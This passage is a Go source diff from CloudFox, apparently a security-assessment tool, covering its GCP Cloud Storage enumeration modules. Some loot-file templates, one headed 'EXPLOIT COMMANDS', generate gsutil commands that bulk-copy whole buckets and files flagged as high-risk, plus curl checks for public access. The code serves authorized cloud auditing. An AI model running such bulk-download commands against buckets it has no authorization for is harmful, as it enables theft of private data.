"# %s - gs://%s/%s\n"+
|
||||
"# %s, Size: %d bytes\n"+
|
||||
"mkdir -p %s\n"+
|
||||
"%s\n\n",
|
||||
file.Category,
|
||||
file.BucketName, file.ObjectName,
|
||||
file.Description, file.Size,
|
||||
localDir,
|
||||
localCpCmd,
|
||||
)
|
||||
}
|
||||
|
||||
// CRITICAL and HIGH risk files also go to the sensitive commands file
|
||||
if file.RiskLevel == "CRITICAL" || file.RiskLevel == "HIGH" {
|
||||
if lootFile := m.LootMap[projectID]["storage-enum-sensitive-commands"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# [%s] %s - gs://%s/%s\n"+
|
||||
"# Category: %s, Size: %d bytes\n"+
|
||||
"mkdir -p %s\n"+
|
||||
"%s\n\n",
|
||||
file.RiskLevel, file.Category,
|
||||
file.BucketName, file.ObjectName,
|
||||
file.Description, file.Size,
|
||||
localDir,
|
||||
localCpCmd,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) getFilesHeader() []string {
|
||||
return []string{"Project", "Bucket", "Object Name", "Category", "Size", "Public", "Encryption", "Description"}
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) getSensitiveFilesHeader() []string {
|
||||
return []string{"Project", "Bucket", "Object Name", "Category", "Size", "Public", "Encryption"}
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) getAllObjectsHeader() []string {
|
||||
return []string{"Project", "Bucket", "Object Name", "Content Type", "Size", "Public", "Encryption", "Updated"}
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) filesToTableBody(files []bucketenumservice.SensitiveFileInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, file := range files {
|
||||
publicStatus := "No"
|
||||
if file.IsPublic {
|
||||
publicStatus = "Yes"
|
||||
}
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(file.ProjectID),
|
||||
file.BucketName,
|
||||
file.ObjectName,
|
||||
file.Category,
|
||||
formatFileSize(file.Size),
|
||||
publicStatus,
|
||||
file.Encryption,
|
||||
file.Description,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) sensitiveFilesToTableBody(files []bucketenumservice.SensitiveFileInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, file := range files {
|
||||
if file.RiskLevel == "CRITICAL" || file.RiskLevel == "HIGH" {
|
||||
publicStatus := "No"
|
||||
if file.IsPublic {
|
||||
publicStatus = "Yes"
|
||||
}
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(file.ProjectID),
|
||||
file.BucketName,
|
||||
file.ObjectName,
|
||||
file.Category,
|
||||
formatFileSize(file.Size),
|
||||
publicStatus,
|
||||
file.Encryption,
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) allObjectsToTableBody(objects []bucketenumservice.ObjectInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, obj := range objects {
|
||||
publicStatus := "No"
|
||||
if obj.IsPublic {
|
||||
publicStatus = "Yes"
|
||||
}
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(obj.ProjectID),
|
||||
obj.BucketName,
|
||||
obj.ObjectName,
|
||||
obj.ContentType,
|
||||
formatFileSize(obj.Size),
|
||||
publicStatus,
|
||||
obj.Encryption,
|
||||
obj.Updated,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if m.EnumerateAll {
|
||||
// Full enumeration mode
|
||||
objects := m.ProjectAllObjects[projectID]
|
||||
if len(objects) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "storage-enum-all",
|
||||
Header: m.getAllObjectsHeader(),
|
||||
Body: m.allObjectsToTableBody(objects),
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// Sensitive files mode
|
||||
files := m.ProjectSensitiveFiles[projectID]
|
||||
if len(files) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "storage-enum",
|
||||
Header: m.getFilesHeader(),
|
||||
Body: m.filesToTableBody(files),
|
||||
})
|
||||
|
||||
sensitiveBody := m.sensitiveFilesToTableBody(files)
|
||||
if len(sensitiveBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "storage-enum-sensitive",
|
||||
Header: m.getSensitiveFilesHeader(),
|
||||
Body: sensitiveBody,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get the appropriate project map based on mode
|
||||
var projectIDs []string
|
||||
if m.EnumerateAll {
|
||||
for projectID := range m.ProjectAllObjects {
|
||||
projectIDs = append(projectIDs, projectID)
|
||||
}
|
||||
} else {
|
||||
for projectID := range m.ProjectSensitiveFiles {
|
||||
projectIDs = append(projectIDs, projectID)
|
||||
}
|
||||
}
|
||||
|
||||
for _, projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BucketEnumOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
var tables []internal.TableFile
|
||||
|
||||
if m.EnumerateAll {
|
||||
// Full enumeration mode
|
||||
allObjects := m.getAllObjects()
|
||||
if len(allObjects) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "storage-enum-all",
|
||||
Header: m.getAllObjectsHeader(),
|
||||
Body: m.allObjectsToTableBody(allObjects),
|
||||
})
|
||||
|
||||
// Count public objects
|
||||
publicCount := 0
|
||||
for _, obj := range allObjects {
|
||||
if obj.IsPublic {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
if publicCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible object(s)!", publicCount), globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Sensitive files mode
|
||||
allFiles := m.getAllSensitiveFiles()
|
||||
if len(allFiles) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "storage-enum",
|
||||
Header: m.getFilesHeader(),
|
||||
Body: m.filesToTableBody(allFiles),
|
||||
})
|
||||
|
||||
sensitiveBody := m.sensitiveFilesToTableBody(allFiles)
|
||||
if len(sensitiveBody) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "storage-enum-sensitive",
|
||||
Header: m.getSensitiveFilesHeader(),
|
||||
Body: sensitiveBody,
|
||||
})
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d CRITICAL/HIGH risk files!", len(sensitiveBody)), globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := BucketEnumOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// getObjectDir returns the directory portion of an object path
|
||||
// e.g., "processReports-pilot-gcp-01/function-source.zip" -> "processReports-pilot-gcp-01/"
|
||||
// e.g., "file.txt" -> ""
|
||||
func getObjectDir(objectName string) string {
|
||||
lastSlash := strings.LastIndex(objectName, "/")
|
||||
if lastSlash == -1 {
|
||||
return ""
|
||||
}
|
||||
return objectName[:lastSlash+1]
|
||||
}
|
||||
|
||||
func formatFileSize(bytes int64) string {
|
||||
const (
|
||||
KB = 1024
|
||||
MB = KB * 1024
|
||||
GB = MB * 1024
|
||||
)
|
||||
|
||||
switch {
|
||||
case bytes >= GB:
|
||||
return fmt.Sprintf("%.1f GB", float64(bytes)/GB)
|
||||
case bytes >= MB:
|
||||
return fmt.Sprintf("%.1f MB", float64(bytes)/MB)
|
||||
case bytes >= KB:
|
||||
return fmt.Sprintf("%.1f KB", float64(bytes)/KB)
|
||||
default:
|
||||
return fmt.Sprintf("%d B", bytes)
|
||||
}
|
||||
}
|
||||
+450
-83
@@ -1,115 +1,482 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
CloudStorageService "github.com/BishopFox/cloudfox/gcp/services/cloudStorageService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPBucketsCommand = &cobra.Command{
|
||||
Use: globals.GCP_BUCKETS_MODULE_NAME,
|
||||
Aliases: []string{},
|
||||
Short: "Display GCP buckets information",
|
||||
Args: cobra.MinimumNArgs(0),
|
||||
Long: `
|
||||
Display available bucket information:
|
||||
cloudfox gcp buckets`,
|
||||
Run: runGCPBucketsCommand,
|
||||
var GCPStorageCommand = &cobra.Command{
|
||||
Use: globals.GCP_STORAGE_MODULE_NAME,
|
||||
Aliases: []string{"buckets", "gcs"},
|
||||
Short: "Enumerate GCP Cloud Storage buckets with security configuration",
|
||||
Long: `Enumerate GCP Cloud Storage buckets across projects with security-relevant details.
|
||||
|
||||
Features:
|
||||
- Lists all buckets accessible to the authenticated user
|
||||
- Shows security configuration (public access prevention, uniform access, versioning)
|
||||
- Enumerates IAM policies and identifies public buckets
|
||||
- Shows encryption type (Google-managed vs CMEK)
|
||||
- Shows retention, soft delete, and lifecycle policies
|
||||
- Generates gcloud commands for further enumeration
|
||||
- Generates exploitation commands for data access
|
||||
|
||||
Security Columns:
|
||||
- Public: Whether the bucket has allUsers or allAuthenticatedUsers access
|
||||
- Public Access Prevention:
|
||||
"enforced" = Public access blocked at bucket level
|
||||
"inherited" = Inherits from project/org (may allow public if not blocked above)
|
||||
"unspecified" = No prevention (most permissive)
|
||||
- Uniform Access:
|
||||
"Yes" = IAM-only access control (recommended, no ACLs)
|
||||
"No (ACLs)" = Legacy ACLs enabled - access can be granted at object level
|
||||
bypassing bucket IAM, harder to audit
|
||||
- Soft Delete: Retention period for deleted objects (ransomware protection)
|
||||
"No" = Deleted objects are immediately removed
|
||||
"Xd" = Deleted objects retained for X days before permanent deletion
|
||||
- Lifecycle: Automated object management rules
|
||||
"Delete@Xd" = Objects auto-deleted after X days (data loss risk if short)
|
||||
"Archive" = Objects transitioned to cheaper storage classes
|
||||
"X rules" = Number of lifecycle rules configured
|
||||
- Versioning: Object versioning (helps recovery, compliance)
|
||||
- Encryption: "Google-managed" or "CMEK" (customer-managed keys)`,
|
||||
Run: runGCPStorageCommand,
|
||||
}
|
||||
|
||||
// Code needed to output fields from buckets results using generic HandleOutput function
|
||||
// ------------------------------
|
||||
// Module Struct with embedded BaseGCPModule
|
||||
// ------------------------------
|
||||
type BucketsModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Results struct that implements the internal.OutputInterface
|
||||
type GCPBucketsResults struct {
|
||||
Data []CloudStorageService.BucketInfo
|
||||
// Module-specific fields - per-project for hierarchical output
|
||||
ProjectBuckets map[string][]CloudStorageService.BucketInfo // projectID -> buckets
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// Decide what format the name, header and body of the CSV & JSON files will be
|
||||
func (g GCPBucketsResults) TableFiles() []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
// ------------------------------
|
||||
// Output Struct implementing CloudfoxOutput interface
|
||||
// ------------------------------
|
||||
type BucketsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
header := []string{
|
||||
"Name",
|
||||
"Location",
|
||||
"ProjectID",
|
||||
func (o BucketsOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BucketsOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPStorageCommand(cmd *cobra.Command, args []string) {
|
||||
// Initialize command context
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_STORAGE_MODULE_NAME)
|
||||
if err != nil {
|
||||
return // Error already logged
|
||||
}
|
||||
|
||||
var body [][]string
|
||||
|
||||
for _, value := range g.Data {
|
||||
body = append(
|
||||
body,
|
||||
[]string{
|
||||
value.Name,
|
||||
value.Location,
|
||||
value.ProjectID,
|
||||
},
|
||||
)
|
||||
// Create module instance
|
||||
module := &BucketsModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectBuckets: make(map[string][]CloudStorageService.BucketInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
tableFile := internal.TableFile{
|
||||
// Execute enumeration
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *BucketsModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Try to get FoxMapper cache (preferred - graph-based analysis)
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_STORAGE_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Run enumeration with concurrency
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_STORAGE_MODULE_NAME, m.processProject)
|
||||
|
||||
// Get all buckets for stats
|
||||
allBuckets := m.getAllBuckets()
|
||||
if len(allBuckets) == 0 {
|
||||
logger.InfoM("No buckets found", globals.GCP_STORAGE_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count public buckets for summary
|
||||
publicCount := 0
|
||||
for _, bucket := range allBuckets {
|
||||
if bucket.IsPublic {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
|
||||
if publicCount > 0 {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d bucket(s), %d PUBLIC", len(allBuckets), publicCount), globals.GCP_STORAGE_MODULE_NAME)
|
||||
} else {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d bucket(s)", len(allBuckets)), globals.GCP_STORAGE_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllBuckets returns all buckets from all projects (for statistics)
|
||||
func (m *BucketsModule) getAllBuckets() []CloudStorageService.BucketInfo {
|
||||
var all []CloudStorageService.BucketInfo
|
||||
for _, buckets := range m.ProjectBuckets {
|
||||
all = append(all, buckets...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor (called concurrently for each project)
|
||||
// ------------------------------
|
||||
func (m *BucketsModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating buckets in project: %s", projectID), globals.GCP_STORAGE_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Create service and fetch buckets
|
||||
cs := CloudStorageService.New()
|
||||
buckets, err := cs.Buckets(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_STORAGE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate buckets in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectBuckets[projectID] = buckets
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["buckets-commands"] = &internal.LootFile{
|
||||
Name: "buckets-commands",
|
||||
Contents: "# GCP Cloud Storage Bucket Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
// Generate loot for each bucket
|
||||
for _, bucket := range buckets {
|
||||
m.addBucketToLoot(projectID, bucket)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d bucket(s) in project %s", len(buckets), projectID), globals.GCP_STORAGE_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *BucketsModule) addBucketToLoot(projectID string, bucket CloudStorageService.BucketInfo) {
|
||||
lootFile := m.LootMap[projectID]["buckets-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// All commands for this bucket
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# BUCKET: gs://%s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Location: %s\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Describe bucket:\n"+
|
||||
"gcloud storage buckets describe gs://%s --project=%s\n"+
|
||||
"# Get IAM policy:\n"+
|
||||
"gcloud storage buckets get-iam-policy gs://%s --project=%s\n"+
|
||||
"# List objects:\n"+
|
||||
"gsutil ls gs://%s/\n"+
|
||||
"gsutil ls -L gs://%s/\n"+
|
||||
"# List all objects recursively:\n"+
|
||||
"gsutil ls -r gs://%s/**\n"+
|
||||
"# Get bucket size:\n"+
|
||||
"gsutil du -s gs://%s/\n\n"+
|
||||
"# === EXPLOIT COMMANDS ===\n\n"+
|
||||
"# Download all contents (create directory first):\n"+
|
||||
"mkdir -p bucket/%s/\n"+
|
||||
"gsutil -m cp -r gs://%s/ bucket/%s/\n"+
|
||||
"# Check for public access:\n"+
|
||||
"curl -s https://storage.googleapis.com/%s/ | head -20\n\n",
|
||||
bucket.Name, bucket.ProjectID, bucket.Location,
|
||||
bucket.Name, bucket.ProjectID,
|
||||
bucket.Name, bucket.ProjectID,
|
||||
bucket.Name,
|
||||
bucket.Name,
|
||||
bucket.Name,
|
||||
bucket.Name,
|
||||
bucket.Name,
|
||||
bucket.Name, bucket.Name,
|
||||
bucket.Name,
|
||||
)
|
||||
}
|
||||
|
||||
// Helper functions are now provided by the shared package:
|
||||
// - shared.BoolToYesNo() for boolean formatting
|
||||
// - shared.GetPrincipalType() for IAM member type extraction
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *BucketsModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Log findings first
|
||||
allBuckets := m.getAllBuckets()
|
||||
publicCount := 0
|
||||
for _, bucket := range allBuckets {
|
||||
if bucket.IsPublic {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
if publicCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible bucket(s)!", publicCount), globals.GCP_STORAGE_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *BucketsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
header := m.getTableHeader()
|
||||
|
||||
// Build hierarchical output data
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Build project-level outputs
|
||||
for projectID, buckets := range m.ProjectBuckets {
|
||||
body := m.bucketsToTableBody(buckets)
|
||||
tables := []internal.TableFile{{
|
||||
Name: globals.GCP_STORAGE_MODULE_NAME,
|
||||
Header: header,
|
||||
Body: body,
|
||||
}}
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BucketsOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Create path builder using the module's hierarchy
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
// Write using hierarchical output
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_STORAGE_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *BucketsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
header := m.getTableHeader()
|
||||
allBuckets := m.getAllBuckets()
|
||||
body := m.bucketsToTableBody(allBuckets)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tableFiles := []internal.TableFile{{
|
||||
Name: globals.GCP_STORAGE_MODULE_NAME,
|
||||
Header: header,
|
||||
Body: body,
|
||||
Name: globals.GCP_BUCKETS_MODULE_NAME,
|
||||
}
|
||||
tableFiles = append(tableFiles, tableFile)
|
||||
}}
|
||||
|
||||
return tableFiles
|
||||
output := BucketsOutput{
|
||||
Table: tableFiles,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
// Build scope names from project names map
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
// Write output using HandleOutputSmart with scope support
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project", // scopeType
|
||||
m.ProjectIDs, // scopeIdentifiers
|
||||
scopeNames, // scopeNames (display names)
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_STORAGE_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// Decide what is loot based on resource information
|
||||
func (g GCPBucketsResults) LootFiles() []internal.LootFile {
|
||||
return []internal.LootFile{}
|
||||
// getTableHeader returns the buckets table header
|
||||
func (m *BucketsModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Name",
|
||||
"Location",
|
||||
"Public",
|
||||
"Public Access Prevention",
|
||||
"Uniform Access",
|
||||
"Soft Delete",
|
||||
"Lifecycle",
|
||||
"Versioning",
|
||||
"Encryption",
|
||||
"IAM Binding Role",
|
||||
"Principal Type",
|
||||
"IAM Binding Principal",
|
||||
"Principal Attack Paths",
|
||||
}
|
||||
}
|
||||
|
||||
// Houses high-level logic that retrieves resources and writes to output
|
||||
func runGCPBucketsCommand(cmd *cobra.Command, args []string) {
|
||||
// Retrieve projectIDs from parent (gcp command) ctx
|
||||
var projectIDs []string
|
||||
var account string
|
||||
parentCmd := cmd.Parent()
|
||||
ctx := cmd.Context()
|
||||
logger := internal.NewLogger()
|
||||
if value, ok := ctx.Value("projectIDs").([]string); ok && len(value) > 0 {
|
||||
projectIDs = value
|
||||
} else {
|
||||
logger.ErrorM("Could not retrieve projectIDs from flag value or value is empty", globals.GCP_BUCKETS_MODULE_NAME)
|
||||
}
|
||||
|
||||
if value, ok := ctx.Value("account").(string); ok {
|
||||
account = value
|
||||
} else {
|
||||
logger.ErrorM("Could not retrieve account email from command", globals.GCP_BUCKETS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Get the bucket info using the projectIDs and CloudStorageService
|
||||
cs := CloudStorageService.New()
|
||||
var results []CloudStorageService.BucketInfo
|
||||
|
||||
// Set output params leveraging parent (gcp) pflag values
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
for _, projectID := range projectIDs {
|
||||
logger.InfoM(fmt.Sprintf("Retrieving all buckets from project: %s", projectID), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
result, err := cs.Buckets(projectID)
|
||||
if err != nil {
|
||||
logger.ErrorM(err.Error(), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
return
|
||||
// bucketsToTableBody converts buckets to table body rows
|
||||
func (m *BucketsModule) bucketsToTableBody(buckets []CloudStorageService.BucketInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, bucket := range buckets {
|
||||
// Format public access
|
||||
publicDisplay := "No"
|
||||
if bucket.IsPublic {
|
||||
publicDisplay = bucket.PublicAccess
|
||||
}
|
||||
results = append(results, result...)
|
||||
logger.InfoM(fmt.Sprintf("Done retrieving all buckets from project: %s", projectID), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
cloudfoxOutput := GCPBucketsResults{Data: results}
|
||||
err = internal.HandleOutput("gcp", format, outputDirectory, verbosity, wrap, globals.GCP_BUCKETS_MODULE_NAME, account, projectID, cloudfoxOutput)
|
||||
if err != nil {
|
||||
logger.ErrorM(err.Error(), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
return
|
||||
|
||||
// Format soft delete
|
||||
softDeleteDisplay := "No"
|
||||
if bucket.SoftDeleteEnabled {
|
||||
softDeleteDisplay = fmt.Sprintf("%dd", bucket.SoftDeleteRetentionDays)
|
||||
}
|
||||
|
||||
// Format lifecycle - show delete rule age if present
|
||||
lifecycleDisplay := "No"
|
||||
if bucket.LifecycleEnabled {
|
||||
if bucket.HasDeleteRule && bucket.ShortestDeleteDays > 0 {
|
||||
lifecycleDisplay = fmt.Sprintf("Delete@%dd", bucket.ShortestDeleteDays)
|
||||
} else if bucket.HasArchiveRule {
|
||||
lifecycleDisplay = "Archive"
|
||||
} else {
|
||||
lifecycleDisplay = fmt.Sprintf("%d rules", bucket.LifecycleRuleCount)
|
||||
}
|
||||
}
|
||||
|
||||
// Format uniform access - highlight security concern if disabled
|
||||
uniformAccessDisplay := "Yes"
|
||||
if !bucket.UniformBucketLevelAccess {
|
||||
uniformAccessDisplay = "No (ACLs)"
|
||||
}
|
